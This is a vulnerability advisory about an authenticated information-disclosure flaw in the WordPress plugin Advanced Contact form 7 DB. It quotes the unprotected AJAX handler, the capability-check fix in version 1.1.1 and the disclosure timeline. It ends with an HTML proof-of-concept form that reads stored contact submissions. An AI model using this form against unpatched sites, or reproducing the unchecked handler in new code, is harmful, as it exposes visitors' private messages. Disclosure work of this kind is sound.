Authenticated Information Disclosure Vulnerability in Advanced Contact form 7 DB
One of the strengths of WordPress is the multitude of plugins available, if you need some functionality you are likely to find a plugin that provides it. There are downsides as well. With over 51,000 plugins in the Plugin Directory it isn’t surprising to find new plugins that duplicate functionality already provided by another plugin. One of the downsides of that is that we have seen a fair amount of situations where a vulnerability has been fixed in a plugin and then another similar plugin comes along that has that same vulnerability. In the case of a vulnerability we found in the plugin Advanced Contact form 7 DB, we found the same vulnerability we had found in a couple of other similar plugins. The vulnerabilities in the other plugin still haven’t been fixed, while this one has now been fixed, though you wouldn’t know that there was a security fix in the version that fixed it if you relied on the plugin’s changelog.
The plugin entered our radar when a piece of its code showed got flagged as part of our proactive monitoring for serious vulnerabilities in WordPress plugins. The code in question turned out to not be vulnerable, but based on the vulnerabilities we had found in similar plugins, which allowed people that shouldn’t be able to view the contents of contact form submissions, we checked to see if it was also an issue with this plugin and it turned out to be the case.
The plugin makes the function vsz_cf7_edit_form_ajax() available through WordPress’ AJAX functionality to anyone logged in to WordPress (in the file /includes/class-advanced-cf7-db.php):
194 | $this->loader->add_action('wp_ajax_vsz_cf7_edit_form_value',$plugin_admin, 'vsz_cf7_edit_form_ajax'); |
The function vsz_cf7_edit_form_ajax(), in the file /admin/class-advanced-cf7-db-admin.php, will return the contents of a specified contact form submission:
699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 | public function vsz_cf7_edit_form_ajax(){ global $wpdb; //Check entry id set or not in current request $rid = ((isset($_POST['rid']) && !empty($_POST['rid'])) ? intval($_POST['rid']) : ''); //If entry not empty if(!empty($rid)){ //Get entry related all fields information $sql = $wpdb->prepare("SELECT * FROM ".VSZ_CF7_DATA_ENTRY_TABLE_NAME." WHERE `data_id` = %d", $rid); $rows = $wpdb->get_results($sql); $return = array(); //Set all fields name in array foreach ($rows as $k => $v) { $return[$v->name] = html_entity_decode(stripslashes($v->value)); } //All fields encode in JSON format and return in AJAX request exit(json_encode($return)); } } |
The page that requests to that are intended to come from is limited to those with the “manage_options” capability, which would normally be Administrator-level users. The code in the function didn’t perform any check on what level of user is making the request.
Also worth noting is that the code is nearly identical to the vulnerable code in the plugin Contact Form 7 Database, yet there is no mention of the other developer in the copyright section of the plugin.
After we notified the developer of the issue the plugin was changed so that the first thing that happens in the function vsz_cf7_edit_form_ajax() is check to make sure the user has the “manage_option” capability:
700 701 | public function vsz_cf7_edit_form_ajax(){ if(!current_user_can( 'manage_options' )) return; |
The changelog entries for the new version, 1.1.1, make no mention of a security fix being included:
- Made changes to resolve issue of user feasibility when editing the form fields.
- Minor tweak related to export functionality and attachment download functionality
Proof of Concept
The following proof of concept will show the first saved contact form submissions, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="vsz_cf7_edit_form_value" /> <input type="hidden" name="rid" value="1" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- August 21, 2017 – Developer notified.
- August 24, 2017 – Version 1.1.1 released, which fixes vulnerability.